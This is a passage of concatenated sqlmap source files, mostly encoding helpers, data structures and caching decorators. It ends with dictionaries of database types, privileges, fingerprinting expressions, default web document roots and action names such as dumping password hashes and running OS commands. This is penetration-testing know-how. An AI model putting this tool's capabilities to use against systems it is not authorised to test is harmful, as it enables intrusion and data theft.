htmlUnescape('foobar') == 'foobar' True >>> htmlUnescape('©€') == htmlUnescape('©€') True """ if value and isinstance(value, six.string_types): if six.PY3: import html return html.unescape(value) else: return html_parser.HTMLParser().unescape(value) return value def singleTimeWarnMessage(message): # Cross-referenced function sys.stdout.write(message) sys.stdout.write("\n") sys.stdout.flush() def filterNone(values): # Cross-referenced function return [_ for _ in values if _] if isinstance(values, _collections.Iterable) else values def isListLike(value): # Cross-referenced function return isinstance(value, (list, tuple, set, BigArray)) def shellExec(cmd): # Cross-referenced function raise NotImplementedError def jsonize(data): """ Returns JSON serialized data >>> jsonize({'foo':'bar'}) '{\\n "foo": "bar"\\n}' """ return json.dumps(data, sort_keys=False, indent=4) def dejsonize(data): """ Returns JSON deserialized data >>> dejsonize('{\\n "foo": "bar"\\n}') == {u'foo': u'bar'} True """ return json.loads(data) def decodeHex(value, binary=True): """ Returns a decoded representation of the provided hexadecimal value >>> decodeHex("313233") == b"123" True >>> decodeHex("313233", binary=False) == u"123" True """ retVal = value if isinstance(value, six.binary_type): value = getText(value) if value.lower().startswith("0x"): value = value[2:] try: retVal = codecs.decode(value, "hex") except LookupError: retVal = binascii.unhexlify(value) if not binary: retVal = getText(retVal) return retVal def encodeHex(value, binary=True): """ Returns an encoded representation of the provided value >>> encodeHex(b"123") == b"313233" True >>> encodeHex("123", binary=False) '313233' >>> encodeHex(b"123"[0]) == b"31" True >>> encodeHex(123, binary=False) '7b' """ if isinstance(value, int): value = six.int2byte(value) if isinstance(value, six.text_type): value = value.encode(UNICODE_ENCODING) try: retVal = codecs.encode(value, "hex") except LookupError: retVal = binascii.hexlify(value) if not binary: retVal = getText(retVal) return retVal def decodeBase64(value, binary=True, encoding=None): """ Returns a decoded representation of provided Base64 value >>> decodeBase64("MTIz") == b"123" True >>> decodeBase64("MTIz", binary=False) '123' >>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE") True >>> decodeBase64(b"MTIzNA") == b"1234" True >>> decodeBase64("MTIzNA") == b"1234" True >>> decodeBase64("MTIzNA==") == b"1234" True """ if value is None: return None padding = b'=' if isinstance(value, bytes) else '=' # Reference: https://stackoverflow.com/a/49459036 if not value.endswith(padding): value += 3 * padding # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications # Reference: https://perldoc.perl.org/MIME/Base64.html if isinstance(value, bytes): value = value.replace(b'-', b'+').replace(b'_', b'/') else: value = value.replace('-', '+').replace('_', '/') retVal = base64.b64decode(value) if not binary: retVal = getText(retVal, encoding) return retVal def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False): """ Returns a Base64 encoded representation of the provided value >>> encodeBase64(b"123") == b"MTIz" True >>> encodeBase64(u"1234", binary=False) 'MTIzNA==' >>> encodeBase64(u"1234", binary=False, padding=False) 'MTIzNA' >>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True) 'A-B_CDE' """ if value is None: return None if isinstance(value, six.text_type): value = value.encode(encoding or UNICODE_ENCODING) retVal = base64.b64encode(value) if not binary: retVal = getText(retVal, encoding) if safe: padding = False # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications # Reference: https://perldoc.perl.org/MIME/Base64.html if isinstance(retVal, bytes): retVal = retVal.replace(b'+', b'-').replace(b'/', b'_') else: retVal = retVal.replace('+', '-').replace('/', '_') if not padding: retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=') return retVal def getBytes(value, encoding=None, errors="strict", unsafe=True): """ Returns byte representation of provided Unicode value >>> getBytes(u"foo\\\\x01\\\\x83\\\\xffbar") == b"foo\\x01\\x83\\xffbar" True """ retVal = value if encoding is None: encoding = conf.get("encoding") or UNICODE_ENCODING try: codecs.lookup(encoding) except (LookupError, TypeError): encoding = UNICODE_ENCODING if isinstance(value, bytearray): return bytes(value) elif isinstance(value, memoryview): return value.tobytes() elif isinstance(value, six.text_type): if INVALID_UNICODE_PRIVATE_AREA: if unsafe: for char in xrange(0xF0000, 0xF00FF + 1): value = value.replace(_unichr(char), "%s%02x" % (SAFE_HEX_MARKER, char - 0xF0000)) retVal = value.encode(encoding, errors) if unsafe: retVal = re.sub((r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER).encode(), lambda _: decodeHex(_.group(1)), retVal) else: try: retVal = value.encode(encoding, errors) except UnicodeError: retVal = value.encode(UNICODE_ENCODING, errors="replace") if unsafe: retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal) return retVal def getOrds(value): """ Returns ORD(...) representation of provided string value >>> getOrds(u'fo\\xf6bar') [102, 111, 246, 98, 97, 114] >>> getOrds(b"fo\\xc3\\xb6bar") [102, 111, 195, 182, 98, 97, 114] """ return [_ if isinstance(_, int) else ord(_) for _ in value] def getUnicode(value, encoding=None, noneToNull=False): """ Returns the unicode representation of the supplied value >>> getUnicode('test') == u'test' True >>> getUnicode(1) == u'1' True >>> getUnicode(None) == 'None' True >>> getUnicode(b'/etc/passwd') == '/etc/passwd' True """ # Best position for --time-limit mechanism if conf.get("timeLimit") and kb.get("startTime") and (time.time() - kb.startTime > conf.timeLimit): raise SystemExit if noneToNull and value is None: return NULL if isinstance(value, six.text_type): return value elif isinstance(value, six.binary_type): # Heuristics (if encoding not explicitly specified) candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding())) if all(_ in value for _ in (b'<', b'>')): pass elif b'\n' not in value and re.search(r"(?i)\w+\.\w{2,3}\Z|\A(\w:\\|/\w+)", six.text_type(value, UNICODE_ENCODING, errors="ignore")): candidates = filterNone((encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding"))) elif conf.get("encoding") and b'\n' not in value: candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING)) for candidate in candidates: try: return six.text_type(value, candidate) except (UnicodeDecodeError, LookupError): pass try: return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) except UnicodeDecodeError: return six.text_type(value, UNICODE_ENCODING, errors="reversible") elif isListLike(value): value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value else: try: return six.text_type(value) except UnicodeDecodeError: return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances def getText(value, encoding=None): """ Returns textual value of a given value (Note: not necessary Unicode on Python2) >>> getText(b"foobar") 'foobar' >>> isinstance(getText(u"fo\\u2299bar"), six.text_type) True """ retVal = value if isinstance(value, six.binary_type): retVal = getUnicode(value, encoding) if six.PY2: try: retVal = str(retVal) except: pass return retVal def stdoutEncode(value): """ Returns textual representation of a given value safe for writing to stdout >>> stdoutEncode(b"foobar") 'foobar' """ if value is None: value = "" if IS_WIN and IS_TTY and kb.get("codePage", -1) is None: output = shellExec("chcp") match = re.search(r": (\d{3,})", output or "") if match: try: candidate = "cp%s" % match.group(1) codecs.lookup(candidate) kb.codePage = candidate except (LookupError, TypeError): pass kb.codePage = kb.codePage or "" encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING if six.PY3: if isinstance(value, (bytes, bytearray)): value = getUnicode(value, encoding) elif not isinstance(value, str): value = str(value) try: retVal = value.encode(encoding, errors="replace").decode(encoding, errors="replace") except (LookupError, TypeError): retVal = value.encode("ascii", errors="replace").decode("ascii", errors="replace") else: if isinstance(value, six.text_type): try: retVal = value.encode(encoding, errors="replace") except (LookupError, TypeError): retVal = value.encode("ascii", errors="replace") else: retVal = value return retVal def getConsoleLength(value): """ Returns console width of unicode values >>> getConsoleLength("abc") 3 >>> getConsoleLength(u"\\u957f\\u6c5f") 4 """ if isinstance(value, six.text_type): retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value) else: retVal = len(value) return retVal ================================================ FILE: lib/core/data.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.datatype import AttribDict from lib.core.log import LOGGER # sqlmap paths paths = AttribDict() # object to store original command line options cmdLineOptions = AttribDict() # object to store merged options (command line, configuration file and default options) mergedOptions = AttribDict() # object to share within function and classes command # line options and settings conf = AttribDict() # object to share within function and classes results kb = AttribDict() # object with each database management system specific queries queries = {} # logger logger = LOGGER ================================================ FILE: lib/core/datatype.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import copy import threading import types from thirdparty.odict import OrderedDict from thirdparty.six.moves import collections_abc as _collections class AttribDict(dict): """ This class defines the dictionary with added capability to access members as attributes >>> foo = AttribDict() >>> foo.bar = 1 >>> foo.bar 1 >>> import copy; copy.deepcopy(foo).bar 1 """ def __init__(self, indict=None, attribute=None, keycheck=True): if indict is None: indict = {} dict.__init__(self, indict) self.__dict__["_attribute"] = attribute self.__dict__["_keycheck"] = keycheck self.__dict__["_initialized"] = True def __getattr__(self, item): """ Maps values to attributes Only called if there *is NOT* an attribute with this name """ if item.startswith('__') and item.endswith('__'): raise AttributeError(item) try: return self.__getitem__(item) except KeyError: if self.__dict__.get("_keycheck"): raise AttributeError("unable to access item '%s'" % item) else: return None def __delattr__(self, item): """ Deletes attributes """ try: return self.pop(item) except KeyError: if self.__dict__.get("_keycheck"): raise AttributeError("unable to access item '%s'" % item) else: return None def __setattr__(self, item, value): """ Maps attributes to values Only if we are initialised """ if "_initialized" not in self.__dict__ or item in self.__dict__: self.__dict__[item] = value else: self.__setitem__(item, value) def __getstate__(self): return self.__dict__ def __setstate__(self, dict): self.__dict__ = dict def __deepcopy__(self, memo): retVal = self.__class__(keycheck=self.__dict__.get("_keycheck")) memo[id(self)] = retVal for attr, value in self.__dict__.items(): if attr not in ('_attribute', '_keycheck', '_initialized'): setattr(retVal, attr, copy.deepcopy(value, memo)) for key, value in self.items(): retVal.__setitem__(key, copy.deepcopy(value, memo)) return retVal class InjectionDict(AttribDict): def __init__(self, **kwargs): AttribDict.__init__(self, **kwargs) self.place = None self.parameter = None self.ptype = None self.prefix = None self.suffix = None self.clause = None self.notes = [] # Note: https://github.com/sqlmapproject/sqlmap/issues/1888 # data is a dict with various stype, each which is a dict with # all the information specific for that stype self.data = AttribDict() # conf is a dict which stores current snapshot of important # options used during detection self.conf = AttribDict() self.dbms = None self.dbms_version = None self.os = None # Reference: https://www.kunxi.org/2014/05/lru-cache-in-python class LRUDict(object): """ This class defines the LRU dictionary >>> foo = LRUDict(capacity=2) >>> foo["first"] = 1 >>> foo["second"] = 2 >>> foo["third"] = 3 >>> "first" in foo False >>> "third" in foo True """ def __init__(self, capacity): self.capacity = capacity self.cache = OrderedDict() self.__lock = threading.Lock() def __len__(self): return len(self.cache) def __contains__(self, key): return key in self.cache def __getitem__(self, key): with self.__lock: value = self.cache.pop(key) self.cache[key] = value return value def get(self, key, default=None): try: return self.__getitem__(key) except: return default def __setitem__(self, key, value): with self.__lock: try: self.cache.pop(key) except KeyError: if len(self.cache) >= self.capacity: self.cache.popitem(last=False) self.cache[key] = value def set(self, key, value): self.__setitem__(key, value) def keys(self): return self.cache.keys() # Reference: https://code.activestate.com/recipes/576694/ class OrderedSet(_collections.MutableSet): """ This class defines the set with ordered (as added) items >>> foo = OrderedSet() >>> foo.add(1) >>> foo.add(2) >>> foo.add(3) >>> foo.pop() 3 >>> foo.pop() 2 >>> foo.pop() 1 """ def __init__(self, iterable=None): self.end = end = [] end += [None, end, end] # sentinel node for doubly linked list self.map = {} # key --> [key, prev, next] if iterable is not None: self |= iterable def __len__(self): return len(self.map) def __contains__(self, key): return key in self.map def add(self, value): if value not in self.map: end = self.end curr = end[1] curr[2] = end[1] = self.map[value] = [value, curr, end] def discard(self, value): if value in self.map: value, prev, next = self.map.pop(value) prev[2] = next next[1] = prev def __iter__(self): end = self.end curr = end[2] while curr is not end: yield curr[0] curr = curr[2] def __reversed__(self): end = self.end curr = end[1] while curr is not end: yield curr[0] curr = curr[1] def pop(self, last=True): if not self: raise KeyError('set is empty') key = self.end[1][0] if last else self.end[2][0] self.discard(key) return key def __repr__(self): if not self: return '%s()' % (self.__class__.__name__,) return '%s(%r)' % (self.__class__.__name__, list(self)) def __eq__(self, other): if isinstance(other, OrderedSet): return len(self) == len(other) and list(self) == list(other) return set(self) == set(other) ================================================ FILE: lib/core/decorators.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import functools import threading from lib.core.datatype import LRUDict from lib.core.settings import MAX_CACHE_ITEMS from lib.core.threads import getCurrentThreadData _cache = {} _method_locks = {} def cachedmethod(f): """ Method with a cached content >>> __ = cachedmethod(lambda _: _) >>> __(1) 1 >>> __(1) 1 >>> __ = cachedmethod(lambda *args, **kwargs: args[0]) >>> __(2) 2 >>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values()))) >>> __(foobar=3) 3 Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ """ _cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS) _method_locks[f] = threading.RLock() def _freeze(val): if isinstance(val, (list, set, tuple)): return tuple(_freeze(x) for x in val) if isinstance(val, dict): return tuple(sorted((k, _freeze(v)) for k, v in val.items())) return val @functools.wraps(f) def _f(*args, **kwargs): lock, cache = _method_locks[f], _cache[f] try: if kwargs: key = (args, frozenset(kwargs.items())) else: key = args with lock: if key in cache: return cache[key] except TypeError: # Note: fallback (slowpath( if kwargs: key = (_freeze(args), _freeze(kwargs)) else: key = _freeze(args) with lock: if key in cache: return cache[key] result = f(*args, **kwargs) with lock: cache[key] = result return result return _f def stackedmethod(f): """ Method using pushValue/popValue functions (fallback function for stack realignment) >>> threadData = getCurrentThreadData() >>> original = len(threadData.valueStack) >>> __ = stackedmethod(lambda _: threadData.valueStack.append(_)) >>> __(1) >>> len(threadData.valueStack) == original True """ @functools.wraps(f) def _(*args, **kwargs): threadData = getCurrentThreadData() originalLevel = len(threadData.valueStack) try: result = f(*args, **kwargs) finally: if len(threadData.valueStack) > originalLevel: del threadData.valueStack[originalLevel:] return result return _ def lockedmethod(f): """ Decorates a function or method with a reentrant lock (only one thread can execute the function at a time) >>> @lockedmethod ... def recursive_count(n): ... if n <= 0: return 0 ... return n + recursive_count(n - 1) >>> recursive_count(5) 15 """ lock = threading.RLock() @functools.wraps(f) def _(*args, **kwargs): with lock: result = f(*args, **kwargs) return result return _ ================================================ FILE: lib/core/defaults.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.datatype import AttribDict _defaults = { "csvDel": ',', "timeSec": 5, "googlePage": 1, "verbose": 1, "delay": 0, "timeout": 30, "retries": 3, "csrfRetries": 0, "safeFreq": 0, "threads": 1, "level": 1, "risk": 1, "dumpFormat": "CSV", "tablePrefix": "sqlmap", "technique": "BEUSTQ", "torType": "SOCKS5", } defaults = AttribDict(_defaults) ================================================ FILE: lib/core/dicts.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import CONTENT_TYPE from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.enums import POST_HINT from lib.core.settings import ACCESS_ALIASES from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import BLANK from lib.core.settings import CACHE_ALIASES from lib.core.settings import CRATEDB_ALIASES from lib.core.settings import CUBRID_ALIASES from lib.core.settings import DB2_ALIASES from lib.core.settings import DERBY_ALIASES from lib.core.settings import EXTREMEDB_ALIASES from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import FRONTBASE_ALIASES from lib.core.settings import H2_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MAXDB_ALIASES from lib.core.settings import MCKOI_ALIASES from lib.core.settings import MIMERSQL_ALIASES from lib.core.settings import MONETDB_ALIASES from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import NULL from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PGSQL_ALIASES from lib.core.settings import PRESTO_ALIASES from lib.core.settings import RAIMA_ALIASES from lib.core.settings import SQLITE_ALIASES from lib.core.settings import SYBASE_ALIASES from lib.core.settings import VERTICA_ALIASES from lib.core.settings import VIRTUOSO_ALIASES from lib.core.settings import CLICKHOUSE_ALIASES from lib.core.settings import SNOWFLAKE_ALIASES from lib.core.settings import SPANNER_ALIASES FIREBIRD_TYPES = { 261: "BLOB", 14: "CHAR", 40: "CSTRING", 11: "D_FLOAT", 27: "DOUBLE", 10: "FLOAT", 16: "INT64", 8: "INTEGER", 9: "QUAD", 7: "SMALLINT", 12: "DATE", 13: "TIME", 35: "TIMESTAMP", 37: "VARCHAR", } INFORMIX_TYPES = { 0: "CHAR", 1: "SMALLINT", 2: "INTEGER", 3: "FLOAT", 4: "SMALLFLOAT", 5: "DECIMAL", 6: "SERIAL", 7: "DATE", 8: "MONEY", 9: "NULL", 10: "DATETIME", 11: "BYTE", 12: "TEXT", 13: "VARCHAR", 14: "INTERVAL", 15: "NCHAR", 16: "NVARCHAR", 17: "INT8", 18: "SERIAL8", 19: "SET", 20: "MULTISET", 21: "LIST", 22: "ROW (unnamed)", 23: "COLLECTION", 40: "Variable-length opaque type", 41: "Fixed-length opaque type", 43: "LVARCHAR", 45: "BOOLEAN", 52: "BIGINT", 53: "BIGSERIAL", 2061: "IDSSECURITYLABEL", 4118: "ROW (named)", } SYBASE_TYPES = { 14: "floatn", 8: "float", 15: "datetimn", 12: "datetime", 23: "real", 28: "numericn", 10: "numeric", 27: "decimaln", 26: "decimal", 17: "moneyn", 11: "money", 21: "smallmoney", 22: "smalldatetime", 13: "intn", 7: "int", 6: "smallint", 5: "tinyint", 16: "bit", 2: "varchar", 18: "sysname", 25: "nvarchar", 1: "char", 24: "nchar", 4: "varbinary", 80: "timestamp", 3: "binary", 19: "text", 20: "image", } ALTIBASE_TYPES = { 1: "CHAR", 12: "VARCHAR", -8: "NCHAR", -9: "NVARCHAR", 2: "NUMERIC", 6: "FLOAT", 8: "DOUBLE", 7: "REAL", -5: "BIGINT", 4: "INTEGER", 5: "SMALLINT", 9: "DATE", 30: "BLOB", 40: "CLOB", 20001: "BYTE", 20002: "NIBBLE", -7: "BIT", -100: "VARBIT", 10003: "GEOMETRY", } MYSQL_PRIVS = { 1: "select_priv", 2: "insert_priv", 3: "update_priv", 4: "delete_priv", 5: "create_priv", 6: "drop_priv", 7: "reload_priv", 8: "shutdown_priv", 9: "process_priv", 10: "file_priv", 11: "grant_priv", 12: "references_priv", 13: "index_priv", 14: "alter_priv", 15: "show_db_priv", 16: "super_priv", 17: "create_tmp_table_priv", 18: "lock_tables_priv", 19: "execute_priv", 20: "repl_slave_priv", 21: "repl_client_priv", 22: "create_view_priv", 23: "show_view_priv", 24: "create_routine_priv", 25: "alter_routine_priv", 26: "create_user_priv", } PGSQL_PRIVS = { 1: "createdb", 2: "super", 3: "replication", } # Reference(s): http://stackoverflow.com/a/17672504 # http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES FIREBIRD_PRIVS = { "S": "SELECT", "I": "INSERT", "U": "UPDATE", "D": "DELETE", "R": "REFERENCE", "X": "EXECUTE", "A": "ALL", "M": "MEMBER", "T": "DECRYPT", "E": "ENCRYPT", "B": "SUBSCRIBE", } # Reference(s): https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sqls.doc/ids_sqs_0147.htm # https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_077.htm INFORMIX_PRIVS = { "D": "DBA (all privileges)", "R": "RESOURCE (create UDRs, UDTs, permanent tables and indexes)", "C": "CONNECT (work with existing tables)", "G": "ROLE", "U": "DEFAULT (implicit connection)", } DB2_PRIVS = { 1: "CONTROLAUTH", 2: "ALTERAUTH", 3: "DELETEAUTH", 4: "INDEXAUTH", 5: "INSERTAUTH", 6: "REFAUTH", 7: "SELECTAUTH", 8: "UPDATEAUTH", } DUMP_REPLACEMENTS = {" ": NULL, "": BLANK} DBMS_DICT = { DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"), DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"), DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), DBMS.ORACLE: (ORACLE_ALIASES, "python-oracledb", "https://oracle.github.io/python-oracledb/", "oracle"), DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"), DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "https://kinterbasdb.sourceforge.net/", "firebird"), DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), DBMS.H2: (H2_ALIASES, None, None, None), DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"), DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None), DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"), DBMS.MCKOI: (MCKOI_ALIASES, None, None, None), DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), DBMS.CLICKHOUSE: (CLICKHOUSE_ALIASES, "clickhouse_connect", "https://github.com/ClickHouse/clickhouse-connect", None), DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None), DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None), DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None), DBMS.RAIMA: (RAIMA_ALIASES, None, None, None), DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None), DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"), DBMS.SPANNER: (SPANNER_ALIASES, None, None, "spanner"), } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ FROM_DUMMY_TABLE = { DBMS.ORACLE: " FROM DUAL", DBMS.ACCESS: " FROM MSysAccessObjects", DBMS.FIREBIRD: " FROM RDB$DATABASE", DBMS.MAXDB: " FROM DUAL", DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS", DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL", DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1", DBMS.MIMERSQL: " FROM SYSTEM.ONEROW", DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS" } HEURISTIC_NULL_EVAL = { DBMS.ACCESS: "CVAR(NULL)", DBMS.MAXDB: "ALPHA(NULL)", DBMS.MSSQL: "PARSENAME(NULL,NULL)", DBMS.MYSQL: "IFNULL(QUARTER(NULL),NULL XOR NULL)", # NOTE: previous form (i.e., QUARTER(NULL XOR NULL)) was bad as some optimization engines wrongly evaluate QUARTER(NULL XOR NULL) to 0 DBMS.ORACLE: "INSTR2(NULL,NULL)", DBMS.PGSQL: "QUOTE_IDENT(NULL)", DBMS.SQLITE: "JULIANDAY(NULL)", DBMS.H2: "STRINGTOUTF8(NULL)", DBMS.MONETDB: "CODE(NULL)", DBMS.DERBY: "NULLIF(USER,SESSION_USER)", DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)", DBMS.MCKOI: "TONUMBER(NULL)", DBMS.PRESTO: "FROM_HEX(NULL)", DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", DBMS.MIMERSQL: "ASCII_CHAR(256)", DBMS.CRATEDB: "MD5(NULL~NULL)", # NOTE: NULL~NULL also being evaluated on H2 and Ignite DBMS.CUBRID: "(NULL SETEQ NULL)", DBMS.CACHE: "%SQLUPPER NULL", DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)", DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", DBMS.CLICKHOUSE: "halfMD5(NULL)", DBMS.SNOWFLAKE: "BOOLNOT(NULL)", DBMS.SPANNER: "FARM_FINGERPRINT(NULL)", } SQL_STATEMENTS = { "SQL SELECT statement": ( "select ", "show ", " top ", " distinct ", " from ", " from dual", " where ", " group by ", " order by ", " having ", " limit ", " offset ", " union all ", " rownum as ", "(case ", ), "SQL data definition": ( "create ", "declare ", "drop ", "truncate ", "alter ", ), "SQL data manipulation": ( "bulk ", "insert ", "update ", "delete ", "merge ", "copy ", "load ", ), "SQL data control": ( "grant ", "revoke ", ), "SQL data execution": ( "exec ", "execute ", "values ", "call ", ), "SQL transaction": ( "start transaction ", "begin work ", "begin transaction ", "commit ", "rollback ", ), "SQL administration": ( "set ", ), } POST_HINT_CONTENT_TYPES = { POST_HINT.JSON: "application/json", POST_HINT.JSON_LIKE: "application/json", POST_HINT.MULTIPART: "multipart/form-data", POST_HINT.SOAP: "application/soap+xml", POST_HINT.XML: "application/xml", POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8", } OBSOLETE_OPTIONS = { "--replicate": "use '--dump-format=SQLITE' instead", "--no-unescape": "use '--no-escape' instead", "--binary": "use '--binary-fields' instead", "--auth-private": "use '--auth-file' instead", "--ignore-401": "use '--ignore-code' instead", "--second-order": "use '--second-url' instead", "--purge-output": "use '--purge' instead", "--sqlmap-shell": "use '--shell' instead", "--check-payload": None, "--check-waf": None, "--pickled-options": "use '--api -c ...' instead", "--identify-waf": "functionality being done automatically", } DEPRECATED_OPTIONS = { } DUMP_DATA_PREPROCESS = { DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, DBMS.MSSQL: { "IMAGE": "CONVERT(VARBINARY(MAX),%s)", "GEOMETRY": "(%s).STAsText()", "GEOGRAPHY": "(%s).STAsText()" }, DBMS.PGSQL: { "GEOMETRY": "ST_AsText(%s)", "GEOGRAPHY": "ST_AsText(%s)" }, DBMS.MYSQL: { "GEOMETRY": "ST_AsText(%s)" } } DEFAULT_DOC_ROOTS = { OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"), OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www", "/usr/share/nginx/html") } PART_RUN_CONTENT_TYPES = { "checkDbms": CONTENT_TYPE.TECHNIQUES, "getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT, "getBanner": CONTENT_TYPE.BANNER, "getCurrentUser": CONTENT_TYPE.CURRENT_USER, "getCurrentDb": CONTENT_TYPE.CURRENT_DB, "getHostname": CONTENT_TYPE.HOSTNAME, "isDba": CONTENT_TYPE.IS_DBA, "getUsers": CONTENT_TYPE.USERS, "getPasswordHashes": CONTENT_TYPE.PASSWORDS, "getPrivileges": CONTENT_TYPE.PRIVILEGES, "getRoles": CONTENT_TYPE.ROLES, "getDbs": CONTENT_TYPE.DBS, "getTables": CONTENT_TYPE.TABLES, "getColumns": CONTENT_TYPE.COLUMNS, "getSchema": CONTENT_TYPE.SCHEMA, "getCount": CONTENT_TYPE.COUNT, "dumpTable": CONTENT_TYPE.DUMP_TABLE, "search": CONTENT_TYPE.SEARCH, "sqlQuery": CONTENT_TYPE.SQL_QUERY, "tableExists": CONTENT_TYPE.COMMON_TABLES, "columnExists": CONTENT_TYPE.COMMON_COLUMNS, "readFile": CONTENT_TYPE.FILE_READ, "writeFile": CONTENT_TYPE.FILE_WRITE, "osCmd": CONTENT_TYPE.OS_CMD, "regRead": CONTENT_TYPE.REG_READ } # Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html HTML_ENTITIES = { "quot": 34, "amp": 38, "apos": 39, "lt": 60, "gt": 62, "nbsp": 160, "iexcl": 161, "cent": 162, "pound": 163, "curren": 164, "yen": 165, "brvbar": 166, "sect": 167, "uml": 168, "copy": 169, "ordf": 170, "laquo": 171, "not": 172, "shy": 173, "reg": 174, "macr": 175, "deg": 176, "plusmn": 177, "sup2": 178, "sup3": 179, "acute": 180, "micro": 181, "para": 182, 